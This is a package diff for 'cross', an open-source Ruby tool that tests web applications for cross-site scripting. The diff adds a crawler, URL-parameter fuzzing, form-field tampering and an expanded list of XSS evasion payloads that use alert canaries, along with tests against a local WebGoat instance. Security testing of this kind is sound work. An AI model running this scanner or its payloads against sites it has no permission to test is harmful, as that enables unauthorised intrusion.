cross 0.30.0 → 0.50.0

Sign up to get free protection for your applications and to get access to all the features.
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA1:
3
+ metadata.gz: 72b79605b86769c7845420cf772fe7e5ca4251c9
4
+ data.tar.gz: de0ec4524597cd129cd1957bdca99587b743f0fa
5
+ SHA512:
6
+ metadata.gz: 4164f2710605496b67199f45f03f4b680c3926909f949b825f16b6a799534afca8c56496275c1d5f5e9a80139268ca0e90e2d189367981c14c64920732441c29
7
+ data.tar.gz: 8cec8b9fb129209cdf5266b5e046bff9265f06aec82c68dc00c8bb0727a259ca2715bfbfd94790d62356d160ed347efa9a3ee44ff30aeb0f13a2efce9726ec36
data/bin/cross CHANGED
@@ -5,16 +5,25 @@ require 'logger'
5
5
  require 'mechanize'
6
6
  require 'cross'
7
7
  require 'getoptlong'
8
+ require 'codesake-commons'
8
9
 
9
10
  opts = GetoptLong.new(
10
11
  [ '--help', '-h', GetoptLong::NO_ARGUMENT ],
11
12
  [ '--version', '-v', GetoptLong::NO_ARGUMENT ],
12
13
  ['--debug', '-D', GetoptLong::NO_ARGUMENT ],
13
- ['--exploit-url', '-u', GetoptLong::NO_ARGUMENT]
14
+ ['--oneshot', '-1', GetoptLong::NO_ARGUMENT ],
15
+ ['--sample-post', '-S', GetoptLong::REQUIRED_ARGUMENT ],
16
+ ['--tamper', '-t', GetoptLong::REQUIRED_ARGUMENT ],
17
+ ['--exploit-url', '-u', GetoptLong::NO_ARGUMENT ],
18
+ ['--crawl', '-c', GetoptLong::OPTIONAL_ARGUMENT ],
19
+ ['--user', '-U', GetoptLong::REQUIRED_ARGUMENT ],
20
+ ['--password', '-P', GetoptLong::REQUIRED_ARGUMENT ]
14
21
  )
15
22
  trap("INT") { puts '['+'INTERRUPTED'.color(:red)+']'; exit -1 }
16
23
 
17
- options={:exploit_url=>false, :debug=>false}
24
+ options={:exploit_url=>false, :debug=>false, :oneshot=>false, :sample_post=>"", :parameter_to_tamper=>"", :crawl=>{:enabled=>false, :url_prefix=>nil}, :auth=>{:username=>nil, :password=>nil}}
25
+ $logger = Codesake::Commons::Logging.instance
26
+ $logger.toggle_syslog
18
27
 
19
28
  opts.each do |opt, arg|
20
29
  case opt
@@ -26,19 +35,55 @@ opts.each do |opt, arg|
26
35
  puts " -h: this help"
27
36
  exit 0
28
37
  when '--version'
29
- puts "cross " + Cross::VERSION
38
+ puts "cross " + Cross::VERSION + " (C) 2011, 2012 - paolo@armoredcode.com"
30
39
  exit 0
31
- when '--debug'
32
- options[:debug]=true
33
- when '--exploit-url'
34
- options[:exploit_url]=true
40
+ when '--oneshot'
41
+ options[:oneshot] = true
42
+ when '--tamper'
43
+ # This option force cross to tamper only the specified form field
44
+ options[:parameter_to_tamper] = arg unless arg.nil?
45
+ when '--sample-post'
46
+ options[:sample_post] = arg unless File.exist?(arg)
47
+ options[:sample_post] = File.read(arg) if File.exist?(arg) && File.readable?(arg)
48
+ when '--debug'
49
+ options[:debug]=true
50
+ when '--exploit-url'
51
+ options[:exploit_url]=true
52
+
53
+ when '--crawl'
54
+ options[:crawl][:enabled]=true
55
+ options[:crawl][:url_prefix] = arg unless arg.nil?
56
+ when '--user'
57
+ options[:auth][:username]=arg
58
+ when '--password'
59
+ options[:auth][:password]=arg
35
60
  end
36
61
  end
37
62
 
38
- puts "cross " + Cross::VERSION + " (C) 2011, 2012 - paolo@armoredcode.com"
63
+ $logger.helo "cross " + Cross::VERSION + " is starting up"
39
64
 
40
65
  engine = Cross::Engine.instance
41
66
  engine.start(options)
42
67
 
43
- raise "cross: missing target" if ARGV.length != 1
44
- puts "Canary found in output page. Suspected XSS" if engine.inject(ARGV.shift)
68
+ found = false
69
+ $logger.die "missing target" if ARGV.length != 1
70
+ $logger.die "-S and -t flag must be used together" if (options[:sample_post].empty? && ! options[:parameter_to_tamper].empty?) or (! options[:sample_post].empty? && options[:parameter_to_tamper].empty?)
71
+
72
+ if engine.crawl?
73
+ result = engine.crawl(ARGV.shift)
74
+ $logger.die result[:message] if result[:status] == 'KO'
75
+
76
+
77
+ result[:links].each do |l|
78
+ $logger.log "Exploiting: #{options[:crawl][:url_prefix]+l}"
79
+
80
+ found = engine.inject(options[:crawl][:url_prefix]+l)
81
+ $logger.ok "Canary found in output page. Suspected XSS" if found
82
+ end
83
+ else
84
+ found = engine.inject(ARGV.shift)
85
+ $logger.ok "Canary found in output page. Suspected XSS" if found
86
+ end
87
+
88
+ $logger.err "Canary not found" if ! found
89
+ $logger.helo "cross is leaving"
data/cross.gemspec CHANGED
@@ -22,4 +22,6 @@ Gem::Specification.new do |gem|
22
22
  gem.add_dependency "mechanize"
23
23
  gem.add_dependency "logger"
24
24
  gem.add_dependency "rainbow"
25
+
26
+ gem.add_dependency "codesake-commons"
25
27
  end
data/lib/cross.rb CHANGED
@@ -1,3 +1,3 @@
1
1
  require 'cross/version'
2
2
  require 'cross/engine'
3
-
3
+ require 'cross/url'
data/lib/cross/engine.rb CHANGED
@@ -13,6 +13,10 @@ module Cross
13
13
  attr_reader :agent
14
14
  attr_accessor :options
15
15
 
16
+ def debug?
17
+ @options[:debug]
18
+ end
19
+
16
20
  # Starts the engine
17
21
  def start(options={:exploit_url=>false, :debug=>false, :auth=>{}})
18
22
  @agent = Mechanize.new {|a| a.log = Logger.new("cross.log")}
@@ -21,55 +25,126 @@ module Cross
21
25
  @options = options
22
26
  end
23
27
 
24
- def inject(url)
25
- if @agent.nil?
26
- start
27
- end
28
+ def authenticate?
29
+ ! @options[:auth].nil? and ! @options[:auth].empty?
30
+ end
28
31
 
29
- if ! @options[:auth].nil? and ! @options[:auth].empty?
30
- @agent.add_auth(url, @options[:auth][:username], @options[:auth][:password])
32
+ def crawl?
33
+ @options[:crawl][:enabled]
34
+ end
35
+
36
+ def crawl(url)
37
+ start if @agent.nil?
38
+
39
+ links = []
40
+ @agent.add_auth(url, @options[:auth][:username], @options[:auth][:password]) if authenticate?
41
+ begin
42
+ page=@agent.get(url)
43
+ page=@agent.get(url) if authenticate?
44
+ page.links.each do |l|
45
+ @agent.log.debug("Link found: #{l.href}") if debug?
46
+ links << l.href
47
+ end
48
+ rescue Mechanize::UnauthorizedError
49
+ return {:status=>'KO', :links=>[], :message=>'target website requires authentication'}
50
+ rescue => e
51
+ return {:status=>'KO', :links=>links, :message=>e.to_s}
31
52
  end
32
53
 
54
+ return {:status=>'OK', :links=>links, :message=>''}
55
+ end
56
+
57
+ def inject(url)
58
+ start if @agent.nil?
59
+
60
+ $logger.log "Authenticating to the app using #{@options[:auth][:username]}:#{@options[:auth][:password]}" if debug?
61
+
62
+ @agent.add_auth(url, @options[:auth][:username], @options[:auth][:password]) if authenticate?
63
+
33
64
  found = false
34
65
  if @options[:exploit_url]
35
66
  # You ask to exploit the url, so I won't check for form values
36
67
 
68
+ attack_url = Cross::Url.new(url)
69
+
37
70
  Cross::Attack::XSS.each do |pattern|
38
- page = @agent.get(url+pattern)
71
+ attack_url.params.each do |par|
39
72
 
40
- if @options[:debug]
41
- @agent.log.debug(page.body)
42
- end
43
- scripts = page.search("//script")
44
- scripts.each do |sc|
45
- if sc.children.text.include?("alert('cross canary');")
46
- found = true
47
- end
48
- if @options[:debug]
49
- @agent.log.debug(sc.children.text)
73
+ page = @agent.get(attack_url.fuzz(par[:name],pattern))
74
+ @agent.log.debug(page.body) if debug?
75
+
76
+ scripts = page.search("//script")
77
+ scripts.each do |sc|
78
+ $logger.log(page.body) if @options[:debug] if sc.children.text.include?("alert('cross canary')")
79
+ return true if sc.children.text.include?("alert('cross canary')")
50
80
  end
51
- end
52
81
 
53
- puts "GET #{url+pattern}: #{found}"
82
+ return false if options[:oneshot]
83
+
84
+ attack_url.reset
85
+ end
54
86
  end
55
87
 
56
88
  else
57
- page = @agent.get(url)
58
- page.forms.each do |f|
59
- f.fields.each do |ff|
60
- ff.value = "<script>alert('cross canary');</script>"
61
- end
62
- pp = @agent.submit(f)
63
- scripts = pp.search("//script")
64
- scripts.each do |sc|
65
- if sc.children.text == "alert('cross canary');"
66
- found = true
89
+ begin
90
+ page = @agent.get(url)
91
+ rescue Mechanize::UnauthorizedError
92
+ $logger.err 'Authentication failed. Giving up.'
93
+ return false
94
+ rescue Mechanize::ResponseCodeError
95
+ $logger.err 'Server gave back 404. Giving up.'
96
+ return false
97
+ rescue Net::HTTP::Persistent::Error => e
98
+ $logger.err e.message
99
+ return false
100
+ end
101
+
102
+ $logger.log "#{page.forms.size} form(s) found" if debug?
103
+
104
+ Cross::Attack::XSS.each do |pattern|
105
+
106
+ $logger.log "using attack vector: #{pattern}" if debug?
107
+
108
+
109
+ page.forms.each do |f|
110
+ f.fields.each do |ff|
111
+ if options[:sample_post].empty?
112
+ ff.value = pattern if options[:parameter_to_tamper].empty?
113
+ ff.value = pattern if ! options[:parameter_to_tamper].empty? && ff.name==options[:parameter_to_tamper]
114
+ else
115
+ ff.value = find_sample_value_for(options[:sample_post], ff.name) unless ff.name==options[:parameter_to_tamper]
116
+ ff.value = pattern if ff.name==options[:parameter_to_tamper]
117
+
118
+
119
+ # promo=Promo1&codice=&nome=&cognome=&indirizzo=%3Cscript%3Ealert%28%27cross+canary%27%29%3C%2Fscript%3E&comune=&CAP=&provincia=&num1=&num2=&mail=&codfisc=&fase=1
120
+ end
67
121
  end
68
- end
69
- end
122
+
123
+ pp = @agent.submit(f)
124
+ $logger.log "header: #{pp.header}" if debug? && ! pp.header.empty?
125
+ $logger.log "body: #{pp.body}" if debug? && ! pp.body.empty?
126
+ $logger.err "Page is empty" if pp.body.empty?
127
+ scripts = pp.search("//script")
128
+ scripts.each do |sc|
129
+ return true if sc.children.text.include?("alert('cross canary')")
130
+ end
131
+ end
132
+ return false if options[:oneshot]
133
+ end
70
134
  end
71
135
  found
72
136
  end
73
137
 
138
+
139
+ private
140
+ def find_sample_value_for(sample, name)
141
+ v=sample.split('&')
142
+ v.each do |post_param|
143
+ post_param_v = post_param.split('=')
144
+ return post_param_v[1] if post_param_v[0] == name
145
+ end
146
+
147
+ return ""
148
+ end
74
149
  end
75
150
  end
data/lib/cross/url.rb ADDED
@@ -0,0 +1,69 @@
1
+ module Cross
2
+ class Url
3
+
4
+ attr_reader :url
5
+ attr_reader :base_url
6
+ attr_reader :params
7
+ attr_reader :original_params
8
+
9
+ def initialize(url)
10
+ @url = url
11
+ @params = []
12
+ @original_params = []
13
+ @base_url = url.split('?')[0]
14
+ p_array = url.split('?')[1].split('&')
15
+ p_array.each do |p|
16
+ pp = p.split('=')
17
+ param = {}
18
+ param[:name] = pp[0]
19
+ param[:value] = pp[1] unless pp[1].nil?
20
+
21
+ @params << param
22
+ @original_params << param.dup
23
+ end
24
+ @original_params.freeze
25
+ end
26
+
27
+ def to_s
28
+ "#{@base_url}?#{params_to_url}"
29
+ end
30
+
31
+ def fuzz(name, value)
32
+ set(name, value)
33
+ "#{@base_url}?#{params_to_url}"
34
+ end
35
+
36
+ def get(name)
37
+ value = nil
38
+ @params.each do |p|
39
+ value = p[:value] if p[:name] == name
40
+ end
41
+ value
42
+ end
43
+
44
+ def set(name, value)
45
+ @params.each do |p|
46
+ p[:value] = value if p[:name] == name
47
+ end
48
+ end
49
+
50
+ def reset
51
+ @params = []
52
+ @original_params.each do |p|
53
+ @params << p.dup
54
+ end
55
+ end
56
+
57
+ def params_to_url
58
+ ret = ""
59
+ @params.each do |p|
60
+ ret += "#{p[:name]}=#{p[:value]}"
61
+ if !(p == @params.last)
62
+ ret +="&"
63
+ end
64
+ end
65
+ ret
66
+
67
+ end
68
+ end
69
+ end
data/lib/cross/version.rb CHANGED
@@ -1,3 +1,3 @@
1
1
  module Cross
2
- VERSION = "0.30.0"
2
+ VERSION = "0.50.0"
3
3
  end
data/lib/cross/xss.rb CHANGED
@@ -5,11 +5,17 @@ module Cross
5
5
  def self.each
6
6
 
7
7
  evasions = [
8
+ "<script>alert('cross canary')</script>",
8
9
  "<script>alert('cross canary');</script>",
10
+ "/--><script>alert('cross canary')</script>",
9
11
  "/--><script>alert('cross canary');</script>",
12
+ "/--></ScRiPt><ScRiPt>alert('cross canary')</ScRiPt>",
10
13
  "/--></ScRiPt><ScRiPt>alert('cross canary');</ScRiPt>",
14
+ "//;-->alert('cross canary')",
11
15
  "//;-->alert('cross canary');",
16
+ "\"//;\nalert('cross canary')",
12
17
  "\"//;\nalert('cross canary');",
18
+ " onmouseover=alert('1');",
13
19
  # more exotic vectors (antisnatchor's collection)
14
20
  "<script/anyjunk>alert('cross canary')</script>",
15
21
  "<<script>alert('cross canary');//<</script>",
data/spec/url_spec.rb ADDED
@@ -0,0 +1,74 @@
1
+ require 'spec_helper'
2
+
3
+ describe "Url fuzzer" do
4
+ let (:url) {Cross::Url.new("http://localhost:8080/WebGoat/attack?Screen=130&menu=900")}
5
+ it "will recognize the param list" do
6
+ url.params.class.should == Array
7
+ url.params.size.should == 2
8
+ end
9
+
10
+ it "will recognize parameter names" do
11
+ url.params[0][:name].should == 'Screen'
12
+ url.params[1][:name].should == 'menu'
13
+ end
14
+
15
+ it "will recognize parameter values" do
16
+ url.params[0][:value].should == "130"
17
+ url.params[1][:value].should == "900"
18
+ end
19
+
20
+ it "will provide a get shortcut for getting parameters value" do
21
+ url.get("Screen").should == "130"
22
+ url.get("menu").should == "900"
23
+ end
24
+
25
+ it "will handle errors smoothly" do
26
+ url.get("nonexistent").should be_nil
27
+ end
28
+
29
+ it "will make a copy of parameters" do
30
+ url.original_params.should == url.params
31
+ end
32
+
33
+ it "will make params Array to be reverted as string" do
34
+ url.params_to_url.should == "Screen=130&menu=900"
35
+ end
36
+
37
+ describe "will provide an handy set shortcut that" do
38
+ it "sets an existing params to a given value" do
39
+ url.set("Screen", "123")
40
+ url.get("Screen").should == "123"
41
+ end
42
+
43
+ it "handle the error condition smootly" do
44
+ url.set("nonexistent", false)
45
+ url.original_params.should == url.params
46
+ end
47
+
48
+ it "won't change the original params" do
49
+ url.set("Screen", "123")
50
+ url.original_params.should_not == url.params
51
+ end
52
+ end
53
+ it "will fuzz" do
54
+ url.fuzz("Screen", "12").should == "http://localhost:8080/WebGoat/attack?Screen=12&menu=900"
55
+ url.fuzz("Screen", "afuzztest").should == "http://localhost:8080/WebGoat/attack?Screen=afuzztest&menu=900"
56
+ url.fuzz("menu", "11").should == "http://localhost:8080/WebGoat/attack?Screen=afuzztest&menu=11"
57
+ end
58
+
59
+ it "will fuzz honoring original params if requested" do
60
+ url.reset
61
+ url.get("Screen").should == "130"
62
+ url.get("menu").should == "900"
63
+ url.fuzz("Screen", "12").should == "http://localhost:8080/WebGoat/attack?Screen=12&menu=900"
64
+ url.reset
65
+ url.get("Screen").should == "130"
66
+ url.get("menu").should == "900"
67
+ url.fuzz("Screen", "afuzztest").should == "http://localhost:8080/WebGoat/attack?Screen=afuzztest&menu=900"
68
+ url.reset
69
+ url.get("Screen").should == "130"
70
+ url.get("menu").should == "900"
71
+ url.fuzz("menu", "11").should == "http://localhost:8080/WebGoat/attack?Screen=130&menu=11"
72
+
73
+ end
74
+ end
metadata CHANGED
@@ -1,110 +1,111 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: cross
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.30.0
5
- prerelease:
4
+ version: 0.50.0
6
5
  platform: ruby
7
6
  authors:
8
7
  - Paolo Perego
9
8
  autorequire:
10
9
  bindir: bin
11
10
  cert_chain: []
12
- date: 2012-07-23 00:00:00.000000000 Z
11
+ date: 2013-10-11 00:00:00.000000000 Z
13
12
  dependencies:
14
13
  - !ruby/object:Gem::Dependency
15
14
  name: rake
16
15
  requirement: !ruby/object:Gem::Requirement
17
- none: false
18
16
  requirements:
19
- - - ! '>='
17
+ - - '>='
20
18
  - !ruby/object:Gem::Version
21
19
  version: '0'
22
20
  type: :development
23
21
  prerelease: false
24
22
  version_requirements: !ruby/object:Gem::Requirement
25
- none: false
26
23
  requirements:
27
- - - ! '>='
24
+ - - '>='
28
25
  - !ruby/object:Gem::Version
29
26
  version: '0'
30
27
  - !ruby/object:Gem::Dependency
31
28
  name: rspec
32
29
  requirement: !ruby/object:Gem::Requirement
33
- none: false
34
30
  requirements:
35
- - - ! '>='
31
+ - - '>='
36
32
  - !ruby/object:Gem::Version
37
33
  version: '0'
38
34
  type: :development
39
35
  prerelease: false
40
36
  version_requirements: !ruby/object:Gem::Requirement
41
- none: false
42
37
  requirements:
43
- - - ! '>='
38
+ - - '>='
44
39
  - !ruby/object:Gem::Version
45
40
  version: '0'
46
41
  - !ruby/object:Gem::Dependency
47
42
  name: rest-open-uri
48
43
  requirement: !ruby/object:Gem::Requirement
49
- none: false
50
44
  requirements:
51
- - - ! '>='
45
+ - - '>='
52
46
  - !ruby/object:Gem::Version
53
47
  version: '0'
54
48
  type: :runtime
55
49
  prerelease: false
56
50
  version_requirements: !ruby/object:Gem::Requirement
57
- none: false
58
51
  requirements:
59
- - - ! '>='
52
+ - - '>='
60
53
  - !ruby/object:Gem::Version
61
54
  version: '0'
62
55
  - !ruby/object:Gem::Dependency
63
56
  name: mechanize
64
57
  requirement: !ruby/object:Gem::Requirement
65
- none: false
66
58
  requirements:
67
- - - ! '>='
59
+ - - '>='
68
60
  - !ruby/object:Gem::Version
69
61
  version: '0'
70
62
  type: :runtime
71
63
  prerelease: false
72
64
  version_requirements: !ruby/object:Gem::Requirement
73
- none: false
74
65
  requirements:
75
- - - ! '>='
66
+ - - '>='
76
67
  - !ruby/object:Gem::Version
77
68
  version: '0'
78
69
  - !ruby/object:Gem::Dependency
79
70
  name: logger
80
71
  requirement: !ruby/object:Gem::Requirement
81
- none: false
82
72
  requirements:
83
- - - ! '>='
73
+ - - '>='
84
74
  - !ruby/object:Gem::Version
85
75
  version: '0'
86
76
  type: :runtime
87
77
  prerelease: false
88
78
  version_requirements: !ruby/object:Gem::Requirement
89
- none: false
90
79
  requirements:
91
- - - ! '>='
80
+ - - '>='
92
81
  - !ruby/object:Gem::Version
93
82
  version: '0'
94
83
  - !ruby/object:Gem::Dependency
95
84
  name: rainbow
96
85
  requirement: !ruby/object:Gem::Requirement
97
- none: false
98
86
  requirements:
99
- - - ! '>='
87
+ - - '>='
100
88
  - !ruby/object:Gem::Version
101
89
  version: '0'
102
90
  type: :runtime
103
91
  prerelease: false
104
92
  version_requirements: !ruby/object:Gem::Requirement
105
- none: false
106
93
  requirements:
107
- - - ! '>='
94
+ - - '>='
95
+ - !ruby/object:Gem::Version
96
+ version: '0'
97
+ - !ruby/object:Gem::Dependency
98
+ name: codesake-commons
99
+ requirement: !ruby/object:Gem::Requirement
100
+ requirements:
101
+ - - '>='
102
+ - !ruby/object:Gem::Version
103
+ version: '0'
104
+ type: :runtime
105
+ prerelease: false
106
+ version_requirements: !ruby/object:Gem::Requirement
107
+ requirements:
108
+ - - '>='
108
109
  - !ruby/object:Gem::Version
109
110
  version: '0'
110
111
  description: cross is a cross site scripting testing tool
@@ -128,40 +129,36 @@ files:
128
129
  - cross.gemspec
129
130
  - lib/cross.rb
130
131
  - lib/cross/engine.rb
132
+ - lib/cross/url.rb
131
133
  - lib/cross/version.rb
132
134
  - lib/cross/xss.rb
133
135
  - spec/cross_spec.rb
134
136
  - spec/spec_helper.rb
137
+ - spec/url_spec.rb
135
138
  homepage: ''
136
139
  licenses: []
140
+ metadata: {}
137
141
  post_install_message:
138
142
  rdoc_options: []
139
143
  require_paths:
140
144
  - lib
141
145
  required_ruby_version: !ruby/object:Gem::Requirement
142
- none: false
143
146
  requirements:
144
- - - ! '>='
147
+ - - '>='
145
148
  - !ruby/object:Gem::Version
146
149
  version: '0'
147
- segments:
148
- - 0
149
- hash: 3227883298359843932
150
150
  required_rubygems_version: !ruby/object:Gem::Requirement
151
- none: false
152
151
  requirements:
153
- - - ! '>='
152
+ - - '>='
154
153
  - !ruby/object:Gem::Version
155
154
  version: '0'
156
- segments:
157
- - 0
158
- hash: 3227883298359843932
159
155
  requirements: []
160
156
  rubyforge_project:
161
- rubygems_version: 1.8.24
157
+ rubygems_version: 2.0.4
162
158
  signing_key:
163
- specification_version: 3
159
+ specification_version: 4
164
160
  summary: cross is a cross site scripting testing tool
165
161
  test_files:
166
162
  - spec/cross_spec.rb
167
163
  - spec/spec_helper.rb
164
+ - spec/url_spec.rb